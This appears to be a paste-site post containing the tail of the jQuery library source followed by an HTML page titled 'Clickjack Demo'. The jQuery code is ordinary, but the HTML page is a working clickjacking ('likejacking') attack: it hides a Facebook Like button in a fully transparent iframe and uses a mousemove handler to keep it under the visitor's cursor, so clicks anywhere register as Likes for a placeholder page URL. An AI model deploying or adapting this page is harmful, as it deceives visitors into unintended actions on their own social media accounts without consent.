  8737. }
  8738.  
  8739. deferred.notifyWith( elem, [ animation, percent, remaining ]);
  8740.  
  8741. if ( percent < 1 && length ) {
  8742. return remaining;
  8743. } else {
  8744. deferred.resolveWith( elem, [ animation ] );
  8745. return false;
  8746. }
  8747. },
  8748. animation = deferred.promise({
  8749. elem: elem,
  8750. props: jQuery.extend( {}, properties ),
  8751. opts: jQuery.extend( true, { specialEasing: {} }, options ),
  8752. originalProperties: properties,
  8753. originalOptions: options,
  8754. startTime: fxNow || createFxNow(),
  8755. duration: options.duration,
  8756. tweens: [],
  8757. createTween: function( prop, end ) {
  8758. var tween = jQuery.Tween( elem, animation.opts, prop, end,
  8759. animation.opts.specialEasing[ prop ] || animation.opts.easing );
  8760. animation.tweens.push( tween );
  8761. return tween;
  8762. },
  8763. stop: function( gotoEnd ) {
  8764. var index = 0,
  8765. // if we are going to the end, we want to run all the tweens
  8766. // otherwise we skip this part
  8767. length = gotoEnd ? animation.tweens.length : 0;
  8768. if ( stopped ) {
  8769. return this;
  8770. }
  8771. stopped = true;
  8772. for ( ; index < length ; index++ ) {
  8773. animation.tweens[ index ].run( 1 );
  8774. }
  8775.  
  8776. // resolve when we played the last frame
  8777. // otherwise, reject
  8778. if ( gotoEnd ) {
  8779. deferred.resolveWith( elem, [ animation, gotoEnd ] );
  8780. } else {
  8781. deferred.rejectWith( elem, [ animation, gotoEnd ] );
  8782. }
  8783. return this;
  8784. }
  8785. }),
  8786. props = animation.props;
  8787.  
  8788. propFilter( props, animation.opts.specialEasing );
  8789.  
  8790. for ( ; index < length ; index++ ) {
  8791. result = animationPrefilters[ index ].call( animation, elem, props, animation.opts );
  8792. if ( result ) {
  8793. return result;
  8794. }
  8795. }
  8796.  
  8797. createTweens( animation, props );
  8798.  
  8799. if ( jQuery.isFunction( animation.opts.start ) ) {
  8800. animation.opts.start.call( elem, animation );
  8801. }
  8802.  
  8803. jQuery.fx.timer(
  8804. jQuery.extend( tick, {
  8805. elem: elem,
  8806. anim: animation,
  8807. queue: animation.opts.queue
  8808. })
  8809. );
  8810.  
  8811. // attach callbacks from options
  8812. return animation.progress( animation.opts.progress )
  8813. .done( animation.opts.done, animation.opts.complete )
  8814. .fail( animation.opts.fail )
  8815. .always( animation.opts.always );
  8816. }
  8817.  
  8818. function propFilter( props, specialEasing ) {
  8819. var value, name, index, easing, hooks;
  8820.  
  8821. // camelCase, specialEasing and expand cssHook pass
  8822. for ( index in props ) {
  8823. name = jQuery.camelCase( index );
  8824. easing = specialEasing[ name ];
  8825. value = props[ index ];
  8826. if ( jQuery.isArray( value ) ) {
  8827. easing = value[ 1 ];
  8828. value = props[ index ] = value[ 0 ];
  8829. }
  8830.  
  8831. if ( index !== name ) {
  8832. props[ name ] = value;
  8833. delete props[ index ];
  8834. }
  8835.  
  8836. hooks = jQuery.cssHooks[ name ];
  8837. if ( hooks && "expand" in hooks ) {
  8838. value = hooks.expand( value );
  8839. delete props[ name ];
  8840.  
  8841. // not quite $.extend, this wont overwrite keys already present.
  8842. // also - reusing 'index' from above because we have the correct "name"
  8843. for ( index in value ) {
  8844. if ( !( index in props ) ) {
  8845. props[ index ] = value[ index ];
  8846. specialEasing[ index ] = easing;
  8847. }
  8848. }
  8849. } else {
  8850. specialEasing[ name ] = easing;
  8851. }
  8852. }
  8853. }
  8854.  
  8855. jQuery.Animation = jQuery.extend( Animation, {
  8856.  
  8857. tweener: function( props, callback ) {
  8858. if ( jQuery.isFunction( props ) ) {
  8859. callback = props;
  8860. props = [ "*" ];
  8861. } else {
  8862. props = props.split(" ");
  8863. }
  8864.  
  8865. var prop,
  8866. index = 0,
  8867. length = props.length;
  8868.  
  8869. for ( ; index < length ; index++ ) {
  8870. prop = props[ index ];
  8871. tweeners[ prop ] = tweeners[ prop ] || [];
  8872. tweeners[ prop ].unshift( callback );
  8873. }
  8874. },
  8875.  
  8876. prefilter: function( callback, prepend ) {
  8877. if ( prepend ) {
  8878. animationPrefilters.unshift( callback );
  8879. } else {
  8880. animationPrefilters.push( callback );
  8881. }
  8882. }
  8883. });
  8884.  
  8885. function defaultPrefilter( elem, props, opts ) {
  8886. /*jshint validthis:true */
  8887. var prop, index, length,
  8888. value, dataShow, toggle,
  8889. tween, hooks, oldfire,
  8890. anim = this,
  8891. style = elem.style,
  8892. orig = {},
  8893. handled = [],
  8894. hidden = elem.nodeType && isHidden( elem );
  8895.  
  8896. // handle queue: false promises
  8897. if ( !opts.queue ) {
  8898. hooks = jQuery._queueHooks( elem, "fx" );
  8899. if ( hooks.unqueued == null ) {
  8900. hooks.unqueued = 0;
  8901. oldfire = hooks.empty.fire;
  8902. hooks.empty.fire = function() {
  8903. if ( !hooks.unqueued ) {
  8904. oldfire();
  8905. }
  8906. };
  8907. }
  8908. hooks.unqueued++;
  8909.  
  8910. anim.always(function() {
  8911. // doing this makes sure that the complete handler will be called
  8912. // before this completes
  8913. anim.always(function() {
  8914. hooks.unqueued--;
  8915. if ( !jQuery.queue( elem, "fx" ).length ) {
  8916. hooks.empty.fire();
  8917. }
  8918. });
  8919. });
  8920. }
  8921.  
  8922. // height/width overflow pass
  8923. if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) {
  8924. // Make sure that nothing sneaks out
  8925. // Record all 3 overflow attributes because IE does not
  8926. // change the overflow attribute when overflowX and
  8927. // overflowY are set to the same value
  8928. opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
  8929.  
  8930. // Set display property to inline-block for height/width
  8931. // animations on inline elements that are having width/height animated
  8932. if ( jQuery.css( elem, "display" ) === "inline" &&
  8933. jQuery.css( elem, "float" ) === "none" ) {
  8934.  
  8935. // inline-level elements accept inline-block;
  8936. // block-level elements need to be inline with layout
  8937. if ( !jQuery.support.inlineBlockNeedsLayout || css_defaultDisplay( elem.nodeName ) === "inline" ) {
  8938. style.display = "inline-block";
  8939.  
  8940. } else {
  8941. style.zoom = 1;
  8942. }
  8943. }
  8944. }
  8945.  
  8946. if ( opts.overflow ) {
  8947. style.overflow = "hidden";
  8948. if ( !jQuery.support.shrinkWrapBlocks ) {
  8949. anim.always(function() {
  8950. style.overflow = opts.overflow[ 0 ];
  8951. style.overflowX = opts.overflow[ 1 ];
  8952. style.overflowY = opts.overflow[ 2 ];
  8953. });
  8954. }
  8955. }
  8956.  
  8957.  
  8958. // show/hide pass
  8959. for ( index in props ) {
  8960. value = props[ index ];
  8961. if ( rfxtypes.exec( value ) ) {
  8962. delete props[ index ];
  8963. toggle = toggle || value === "toggle";
  8964. if ( value === ( hidden ? "hide" : "show" ) ) {
  8965. continue;
  8966. }
  8967. handled.push( index );
  8968. }
  8969. }
  8970.  
  8971. length = handled.length;
  8972. if ( length ) {
  8973. dataShow = jQuery._data( elem, "fxshow" ) || jQuery._data( elem, "fxshow", {} );
  8974. if ( "hidden" in dataShow ) {
  8975. hidden = dataShow.hidden;
  8976. }
  8977.  
  8978. // store state if its toggle - enables .stop().toggle() to "reverse"
  8979. if ( toggle ) {
  8980. dataShow.hidden = !hidden;
  8981. }
  8982. if ( hidden ) {
  8983. jQuery( elem ).show();
  8984. } else {
  8985. anim.done(function() {
  8986. jQuery( elem ).hide();
  8987. });
  8988. }
  8989. anim.done(function() {
  8990. var prop;
  8991. jQuery._removeData( elem, "fxshow" );
  8992. for ( prop in orig ) {
  8993. jQuery.style( elem, prop, orig[ prop ] );
  8994. }
  8995. });
  8996. for ( index = 0 ; index < length ; index++ ) {
  8997. prop = handled[ index ];
  8998. tween = anim.createTween( prop, hidden ? dataShow[ prop ] : 0 );
  8999. orig[ prop ] = dataShow[ prop ] || jQuery.style( elem, prop );
  9000.  
  9001. if ( !( prop in dataShow ) ) {
  9002. dataShow[ prop ] = tween.start;
  9003. if ( hidden ) {
  9004. tween.end = tween.start;
  9005. tween.start = prop === "width" || prop === "height" ? 1 : 0;
  9006. }
  9007. }
  9008. }
  9009. }
  9010. }
  9011.  
  9012. function Tween( elem, options, prop, end, easing ) {
  9013. return new Tween.prototype.init( elem, options, prop, end, easing );
  9014. }
  9015. jQuery.Tween = Tween;
  9016.  
  9017. Tween.prototype = {
  9018. constructor: Tween,
  9019. init: function( elem, options, prop, end, easing, unit ) {
  9020. this.elem = elem;
  9021. this.prop = prop;
  9022. this.easing = easing || "swing";
  9023. this.options = options;
  9024. this.start = this.now = this.cur();
  9025. this.end = end;
  9026. this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
  9027. },
  9028. cur: function() {
  9029. var hooks = Tween.propHooks[ this.prop ];
  9030.  
  9031. return hooks && hooks.get ?
  9032. hooks.get( this ) :
  9033. Tween.propHooks._default.get( this );
  9034. },
  9035. run: function( percent ) {
  9036. var eased,
  9037. hooks = Tween.propHooks[ this.prop ];
  9038.  
  9039. if ( this.options.duration ) {
  9040. this.pos = eased = jQuery.easing[ this.easing ](
  9041. percent, this.options.duration * percent, 0, 1, this.options.duration
  9042. );
  9043. } else {
  9044. this.pos = eased = percent;
  9045. }
  9046. this.now = ( this.end - this.start ) * eased + this.start;
  9047.  
  9048. if ( this.options.step ) {
  9049. this.options.step.call( this.elem, this.now, this );
  9050. }
  9051.  
  9052. if ( hooks && hooks.set ) {
  9053. hooks.set( this );
  9054. } else {
  9055. Tween.propHooks._default.set( this );
  9056. }
  9057. return this;
  9058. }
  9059. };
  9060.  
  9061. Tween.prototype.init.prototype = Tween.prototype;
  9062.  
  9063. Tween.propHooks = {
  9064. _default: {
  9065. get: function( tween ) {
  9066. var result;
  9067.  
  9068. if ( tween.elem[ tween.prop ] != null &&
  9069. (!tween.elem.style || tween.elem.style[ tween.prop ] == null) ) {
  9070. return tween.elem[ tween.prop ];
  9071. }
  9072.  
  9073. // passing an empty string as a 3rd parameter to .css will automatically
  9074. // attempt a parseFloat and fallback to a string if the parse fails
  9075. // so, simple values such as "10px" are parsed to Float.
  9076. // complex values such as "rotate(1rad)" are returned as is.
  9077. result = jQuery.css( tween.elem, tween.prop, "" );
  9078. // Empty strings, null, undefined and "auto" are converted to 0.
  9079. return !result || result === "auto" ? 0 : result;
  9080. },
  9081. set: function( tween ) {
  9082. // use step hook for back compat - use cssHook if its there - use .style if its
  9083. // available and use plain properties where available
  9084. if ( jQuery.fx.step[ tween.prop ] ) {
  9085. jQuery.fx.step[ tween.prop ]( tween );
  9086. } else if ( tween.elem.style && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) {
  9087. jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
  9088. } else {
  9089. tween.elem[ tween.prop ] = tween.now;
  9090. }
  9091. }
  9092. }
  9093. };
  9094.  
  9095. // Remove in 2.0 - this supports IE8's panic based approach
  9096. // to setting things on disconnected nodes
  9097.  
  9098. Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
  9099. set: function( tween ) {
  9100. if ( tween.elem.nodeType && tween.elem.parentNode ) {
  9101. tween.elem[ tween.prop ] = tween.now;
  9102. }
  9103. }
  9104. };
  9105.  
  9106. jQuery.each([ "toggle", "show", "hide" ], function( i, name ) {
  9107. var cssFn = jQuery.fn[ name ];
  9108. jQuery.fn[ name ] = function( speed, easing, callback ) {
  9109. return speed == null || typeof speed === "boolean" ?
  9110. cssFn.apply( this, arguments ) :
  9111. this.animate( genFx( name, true ), speed, easing, callback );
  9112. };
  9113. });
  9114.  
  9115. jQuery.fn.extend({
  9116. fadeTo: function( speed, to, easing, callback ) {
  9117.  
  9118. // show any hidden elements after setting opacity to 0
  9119. return this.filter( isHidden ).css( "opacity", 0 ).show()
  9120.  
  9121. // animate to the value specified
  9122. .end().animate({ opacity: to }, speed, easing, callback );
  9123. },
  9124. animate: function( prop, speed, easing, callback ) {
  9125. var empty = jQuery.isEmptyObject( prop ),
  9126. optall = jQuery.speed( speed, easing, callback ),
  9127. doAnimation = function() {
  9128. // Operate on a copy of prop so per-property easing won't be lost
  9129. var anim = Animation( this, jQuery.extend( {}, prop ), optall );
  9130. doAnimation.finish = function() {
  9131. anim.stop( true );
  9132. };
  9133. // Empty animations, or finishing resolves immediately
  9134. if ( empty || jQuery._data( this, "finish" ) ) {
  9135. anim.stop( true );
  9136. }
  9137. };
  9138. doAnimation.finish = doAnimation;
  9139.  
  9140. return empty || optall.queue === false ?
  9141. this.each( doAnimation ) :
  9142. this.queue( optall.queue, doAnimation );
  9143. },
  9144. stop: function( type, clearQueue, gotoEnd ) {
  9145. var stopQueue = function( hooks ) {
  9146. var stop = hooks.stop;
  9147. delete hooks.stop;
  9148. stop( gotoEnd );
  9149. };
  9150.  
  9151. if ( typeof type !== "string" ) {
  9152. gotoEnd = clearQueue;
  9153. clearQueue = type;
  9154. type = undefined;
  9155. }
  9156. if ( clearQueue && type !== false ) {
  9157. this.queue( type || "fx", [] );
  9158. }
  9159.  
  9160. return this.each(function() {
  9161. var dequeue = true,
  9162. index = type != null && type + "queueHooks",
  9163. timers = jQuery.timers,
  9164. data = jQuery._data( this );
  9165.  
  9166. if ( index ) {
  9167. if ( data[ index ] && data[ index ].stop ) {
  9168. stopQueue( data[ index ] );
  9169. }
  9170. } else {
  9171. for ( index in data ) {
  9172. if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
  9173. stopQueue( data[ index ] );
  9174. }
  9175. }
  9176. }
  9177.  
  9178. for ( index = timers.length; index--; ) {
  9179. if ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) {
  9180. timers[ index ].anim.stop( gotoEnd );
  9181. dequeue = false;
  9182. timers.splice( index, 1 );
  9183. }
  9184. }
  9185.  
  9186. // start the next in the queue if the last step wasn't forced
  9187. // timers currently will call their complete callbacks, which will dequeue
  9188. // but only if they were gotoEnd
  9189. if ( dequeue || !gotoEnd ) {
  9190. jQuery.dequeue( this, type );
  9191. }
  9192. });
  9193. },
  9194. finish: function( type ) {
  9195. if ( type !== false ) {
  9196. type = type || "fx";
  9197. }
  9198. return this.each(function() {
  9199. var index,
  9200. data = jQuery._data( this ),
  9201. queue = data[ type + "queue" ],
  9202. hooks = data[ type + "queueHooks" ],
  9203. timers = jQuery.timers,
  9204. length = queue ? queue.length : 0;
  9205.  
  9206. // enable finishing flag on private data
  9207. data.finish = true;
  9208.  
  9209. // empty the queue first
  9210. jQuery.queue( this, type, [] );
  9211.  
  9212. if ( hooks && hooks.cur && hooks.cur.finish ) {
  9213. hooks.cur.finish.call( this );
  9214. }
  9215.  
  9216. // look for any active animations, and finish them
  9217. for ( index = timers.length; index--; ) {
  9218. if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
  9219. timers[ index ].anim.stop( true );
  9220. timers.splice( index, 1 );
  9221. }
  9222. }
  9223.  
  9224. // look for any animations in the old queue and finish them
  9225. for ( index = 0; index < length; index++ ) {
  9226. if ( queue[ index ] && queue[ index ].finish ) {
  9227. queue[ index ].finish.call( this );
  9228. }
  9229. }
  9230.  
  9231. // turn off finishing flag
  9232. delete data.finish;
  9233. });
  9234. }
  9235. });
  9236.  
  9237. // Generate parameters to create a standard animation
  9238. function genFx( type, includeWidth ) {
  9239. var which,
  9240. attrs = { height: type },
  9241. i = 0;
  9242.  
  9243. // if we include width, step value is 1 to do all cssExpand values,
  9244. // if we don't include width, step value is 2 to skip over Left and Right
  9245. includeWidth = includeWidth? 1 : 0;
  9246. for( ; i < 4 ; i += 2 - includeWidth ) {
  9247. which = cssExpand[ i ];
  9248. attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
  9249. }
  9250.  
  9251. if ( includeWidth ) {
  9252. attrs.opacity = attrs.width = type;
  9253. }
  9254.  
  9255. return attrs;
  9256. }
  9257.  
  9258. // Generate shortcuts for custom animations
  9259. jQuery.each({
  9260. slideDown: genFx("show"),
  9261. slideUp: genFx("hide"),
  9262. slideToggle: genFx("toggle"),
  9263. fadeIn: { opacity: "show" },
  9264. fadeOut: { opacity: "hide" },
  9265. fadeToggle: { opacity: "toggle" }
  9266. }, function( name, props ) {
  9267. jQuery.fn[ name ] = function( speed, easing, callback ) {
  9268. return this.animate( props, speed, easing, callback );
  9269. };
  9270. });
  9271.  
  9272. jQuery.speed = function( speed, easing, fn ) {
  9273. var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
  9274. complete: fn || !fn && easing ||
  9275. jQuery.isFunction( speed ) && speed,
  9276. duration: speed,
  9277. easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing
  9278. };
  9279.  
  9280. opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration :
  9281. opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;
  9282.  
  9283. // normalize opt.queue - true/undefined/null -> "fx"
  9284. if ( opt.queue == null || opt.queue === true ) {
  9285. opt.queue = "fx";
  9286. }
  9287.  
  9288. // Queueing
  9289. opt.old = opt.complete;
  9290.  
  9291. opt.complete = function() {
  9292. if ( jQuery.isFunction( opt.old ) ) {
  9293. opt.old.call( this );
  9294. }
  9295.  
  9296. if ( opt.queue ) {
  9297. jQuery.dequeue( this, opt.queue );
  9298. }
  9299. };
  9300.  
  9301. return opt;
  9302. };
  9303.  
  9304. jQuery.easing = {
  9305. linear: function( p ) {
  9306. return p;
  9307. },
  9308. swing: function( p ) {
  9309. return 0.5 - Math.cos( p*Math.PI ) / 2;
  9310. }
  9311. };
  9312.  
  9313. jQuery.timers = [];
  9314. jQuery.fx = Tween.prototype.init;
  9315. jQuery.fx.tick = function() {
  9316. var timer,
  9317. timers = jQuery.timers,
  9318. i = 0;
  9319.  
  9320. fxNow = jQuery.now();
  9321.  
  9322. for ( ; i < timers.length; i++ ) {
  9323. timer = timers[ i ];
  9324. // Checks the timer has not already been removed
  9325. if ( !timer() && timers[ i ] === timer ) {
  9326. timers.splice( i--, 1 );
  9327. }
  9328. }
  9329.  
  9330. if ( !timers.length ) {
  9331. jQuery.fx.stop();
  9332. }
  9333. fxNow = undefined;
  9334. };
  9335.  
  9336. jQuery.fx.timer = function( timer ) {
  9337. if ( timer() && jQuery.timers.push( timer ) ) {
  9338. jQuery.fx.start();
  9339. }
  9340. };
  9341.  
  9342. jQuery.fx.interval = 13;
  9343.  
  9344. jQuery.fx.start = function() {
  9345. if ( !timerId ) {
  9346. timerId = setInterval( jQuery.fx.tick, jQuery.fx.interval );
  9347. }
  9348. };
  9349.  
  9350. jQuery.fx.stop = function() {
  9351. clearInterval( timerId );
  9352. timerId = null;
  9353. };
  9354.  
  9355. jQuery.fx.speeds = {
  9356. slow: 600,
  9357. fast: 200,
  9358. // Default speed
  9359. _default: 400
  9360. };
  9361.  
  9362. // Back Compat <1.8 extension point
  9363. jQuery.fx.step = {};
  9364.  
  9365. if ( jQuery.expr && jQuery.expr.filters ) {
  9366. jQuery.expr.filters.animated = function( elem ) {
  9367. return jQuery.grep(jQuery.timers, function( fn ) {
  9368. return elem === fn.elem;
  9369. }).length;
  9370. };
  9371. }
  9372. jQuery.fn.offset = function( options ) {
  9373. if ( arguments.length ) {
  9374. return options === undefined ?
  9375. this :
  9376. this.each(function( i ) {
  9377. jQuery.offset.setOffset( this, options, i );
  9378. });
  9379. }
  9380.  
  9381. var docElem, win,
  9382. box = { top: 0, left: 0 },
  9383. elem = this[ 0 ],
  9384. doc = elem && elem.ownerDocument;
  9385.  
  9386. if ( !doc ) {
  9387. return;
  9388. }
  9389.  
  9390. docElem = doc.documentElement;
  9391.  
  9392. // Make sure it's not a disconnected DOM node
  9393. if ( !jQuery.contains( docElem, elem ) ) {
  9394. return box;
  9395. }
  9396.  
  9397. // If we don't have gBCR, just use 0,0 rather than error
  9398. // BlackBerry 5, iOS 3 (original iPhone)
  9399. if ( typeof elem.getBoundingClientRect !== core_strundefined ) {
  9400. box = elem.getBoundingClientRect();
  9401. }
  9402. win = getWindow( doc );
  9403. return {
  9404. top: box.top + ( win.pageYOffset || docElem.scrollTop ) - ( docElem.clientTop || 0 ),
  9405. left: box.left + ( win.pageXOffset || docElem.scrollLeft ) - ( docElem.clientLeft || 0 )
  9406. };
  9407. };
  9408.  
  9409. jQuery.offset = {
  9410.  
  9411. setOffset: function( elem, options, i ) {
  9412. var position = jQuery.css( elem, "position" );
  9413.  
  9414. // set position first, in-case top/left are set even on static elem
  9415. if ( position === "static" ) {
  9416. elem.style.position = "relative";
  9417. }
  9418.  
  9419. var curElem = jQuery( elem ),
  9420. curOffset = curElem.offset(),
  9421. curCSSTop = jQuery.css( elem, "top" ),
  9422. curCSSLeft = jQuery.css( elem, "left" ),
  9423. calculatePosition = ( position === "absolute" || position === "fixed" ) && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1,
  9424. props = {}, curPosition = {}, curTop, curLeft;
  9425.  
  9426. // need to be able to calculate position if either top or left is auto and position is either absolute or fixed
  9427. if ( calculatePosition ) {
  9428. curPosition = curElem.position();
  9429. curTop = curPosition.top;
  9430. curLeft = curPosition.left;
  9431. } else {
  9432. curTop = parseFloat( curCSSTop ) || 0;
  9433. curLeft = parseFloat( curCSSLeft ) || 0;
  9434. }
  9435.  
  9436. if ( jQuery.isFunction( options ) ) {
  9437. options = options.call( elem, i, curOffset );
  9438. }
  9439.  
  9440. if ( options.top != null ) {
  9441. props.top = ( options.top - curOffset.top ) + curTop;
  9442. }
  9443. if ( options.left != null ) {
  9444. props.left = ( options.left - curOffset.left ) + curLeft;
  9445. }
  9446.  
  9447. if ( "using" in options ) {
  9448. options.using.call( elem, props );
  9449. } else {
  9450. curElem.css( props );
  9451. }
  9452. }
  9453. };
  9454.  
  9455.  
  9456. jQuery.fn.extend({
  9457.  
  9458. position: function() {
  9459. if ( !this[ 0 ] ) {
  9460. return;
  9461. }
  9462.  
  9463. var offsetParent, offset,
  9464. parentOffset = { top: 0, left: 0 },
  9465. elem = this[ 0 ];
  9466.  
  9467. // fixed elements are offset from window (parentOffset = {top:0, left: 0}, because it is it's only offset parent
  9468. if ( jQuery.css( elem, "position" ) === "fixed" ) {
  9469. // we assume that getBoundingClientRect is available when computed position is fixed
  9470. offset = elem.getBoundingClientRect();
  9471. } else {
  9472. // Get *real* offsetParent
  9473. offsetParent = this.offsetParent();
  9474.  
  9475. // Get correct offsets
  9476. offset = this.offset();
  9477. if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) {
  9478. parentOffset = offsetParent.offset();
  9479. }
  9480.  
  9481. // Add offsetParent borders
  9482. parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true );
  9483. parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true );
  9484. }
  9485.  
  9486. // Subtract parent offsets and element margins
  9487. // note: when an element has margin: auto the offsetLeft and marginLeft
  9488. // are the same in Safari causing offset.left to incorrectly be 0
  9489. return {
  9490. top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
  9491. left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true)
  9492. };
  9493. },
  9494.  
  9495. offsetParent: function() {
  9496. return this.map(function() {
  9497. var offsetParent = this.offsetParent || document.documentElement;
  9498. while ( offsetParent && ( !jQuery.nodeName( offsetParent, "html" ) && jQuery.css( offsetParent, "position") === "static" ) ) {
  9499. offsetParent = offsetParent.offsetParent;
  9500. }
  9501. return offsetParent || document.documentElement;
  9502. });
  9503. }
  9504. });
  9505.  
  9506.  
  9507. // Create scrollLeft and scrollTop methods
  9508. jQuery.each( {scrollLeft: "pageXOffset", scrollTop: "pageYOffset"}, function( method, prop ) {
  9509. var top = /Y/.test( prop );
  9510.  
  9511. jQuery.fn[ method ] = function( val ) {
  9512. return jQuery.access( this, function( elem, method, val ) {
  9513. var win = getWindow( elem );
  9514.  
  9515. if ( val === undefined ) {
  9516. return win ? (prop in win) ? win[ prop ] :
  9517. win.document.documentElement[ method ] :
  9518. elem[ method ];
  9519. }
  9520.  
  9521. if ( win ) {
  9522. win.scrollTo(
  9523. !top ? val : jQuery( win ).scrollLeft(),
  9524. top ? val : jQuery( win ).scrollTop()
  9525. );
  9526.  
  9527. } else {
  9528. elem[ method ] = val;
  9529. }
  9530. }, method, val, arguments.length, null );
  9531. };
  9532. });
  9533.  
  9534. function getWindow( elem ) {
  9535. return jQuery.isWindow( elem ) ?
  9536. elem :
  9537. elem.nodeType === 9 ?
  9538. elem.defaultView || elem.parentWindow :
  9539. false;
  9540. }
  9541. // Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
  9542. jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
  9543. jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) {
  9544. // margin is only for outerHeight, outerWidth
  9545. jQuery.fn[ funcName ] = function( margin, value ) {
  9546. var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
  9547. extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
  9548.  
  9549. return jQuery.access( this, function( elem, type, value ) {
  9550. var doc;
  9551.  
  9552. if ( jQuery.isWindow( elem ) ) {
  9553. // As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there
  9554. // isn't a whole lot we can do. See pull request at this URL for discussion:
  9555. // https://github.com/jquery/jquery/pull/764
  9556. return elem.document.documentElement[ "client" + name ];
  9557. }
  9558.  
  9559. // Get document width or height
  9560. if ( elem.nodeType === 9 ) {
  9561. doc = elem.documentElement;
  9562.  
  9563. // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], whichever is greatest
  9564. // unfortunately, this causes bug #3838 in IE6/8 only, but there is currently no good, small way to fix it.
  9565. return Math.max(
  9566. elem.body[ "scroll" + name ], doc[ "scroll" + name ],
  9567. elem.body[ "offset" + name ], doc[ "offset" + name ],
  9568. doc[ "client" + name ]
  9569. );
  9570. }
  9571.  
  9572. return value === undefined ?
  9573. // Get width or height on the element, requesting but not forcing parseFloat
  9574. jQuery.css( elem, type, extra ) :
  9575.  
  9576. // Set width or height on the element
  9577. jQuery.style( elem, type, value, extra );
  9578. }, type, chainable ? margin : undefined, chainable, null );
  9579. };
  9580. });
  9581. });
  9582. // Limit scope pollution from any deprecated API
  9583. // (function() {
  9584.  
  9585. // })();
  9586. // Expose jQuery to the global object
  9587. window.jQuery = window.$ = jQuery;
  9588.  
  9589. // Expose jQuery as an AMD module, but only for AMD loaders that
  9590. // understand the issues with loading multiple versions of jQuery
  9591. // in a page that all might call define(). The loader will indicate
  9592. // they have special allowances for multiple jQuery versions by
  9593. // specifying define.amd.jQuery = true. Register as a named module,
  9594. // since jQuery can be concatenated with other files that may use define,
  9595. // but not use a proper concatenation script that understands anonymous
  9596. // AMD modules. A named AMD is safest and most robust way to register.
  9597. // Lowercase jquery is used because AMD module names are derived from
  9598. // file names, and jQuery is normally delivered in a lowercase file name.
  9599. // Do this after creating the global so that if an AMD module wants to call
  9600. // noConflict to hide this version of jQuery, it will work.
  9601. if ( typeof define === "function" && define.amd && define.amd.jQuery ) {
  9602. define( "jquery", [], function () { return jQuery; } );
  9603. }
  9604.  
  9605. })( window );
  9606. ---------------------------------------
  9607. //END JQUERY.JS SOURCE CODE
  9608. ---------------------------------------
  9609. //START HTML SOURCE CODE:
  9610. ---------------------------------------
  9611. <!DOCTYPE html>
  9612.  
  9613. <html>
  9614.  
  9615. <head>
  9616.  
  9617. <meta charset="UTF-8" />
  9618.  
  9619. <title>Clickjack Demo</title>
  9620.  
  9621. <script src="jquery.js"></script>
  9622.  
  9623. <script type="text/javascript" >
  9624.  
  9625. // jquery follow
  9626.  
  9627. $(document).mousemove(function(e){
  9628.  
  9629. $("#follow").css({left:e.pageX, top:e.pageY});
  9630.  
  9631. });
  9632.  
  9633. </script>
  9634.  
  9635. <style type="text/css">
  9636.  
  9637. #follow { position: absolute; }
  9638.  
  9639. iframe { opacity: 0; }
  9640.  
  9641. </style>
  9642.  
  9643. </head>
  9644.  
  9645. <body>
  9646.  
  9647. <div id="fb-root"></div>
  9648.  
  9649. <script>(function(d, s, id) {
  9650.  
  9651. var js, fjs = d.getElementsByTagName(s)[0];
  9652.  
  9653. if (d.getElementById(id)) return;
  9654.  
  9655. js = d.createElement(s); js.id = id;
  9656.  
  9657. js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
  9658.  
  9659. fjs.parentNode.insertBefore(js, fjs);
  9660.  
  9661. }(document, 'script', 'facebook-jssdk'));</script>
  9662.  
  9663. <div id="follow">
  9664.  
  9665. <iframe src="http://www.facebook.com/plugins/like.php?href=[FACEBOOK PAGE URL HERE]&amp;send=false&amp;layout=button_count&amp;width=450&amp;show_faces=false&amp;font&amp;colorscheme=light&amp;action=like&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true"></iframe>
  9666.  
  9667. </div>
  9668.  
  9669. </body>
  9670.  
  9671. </html>
  9672. ---------------------------------------
  9673. //END HTML SOURCE CODE:
  9674. ---------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement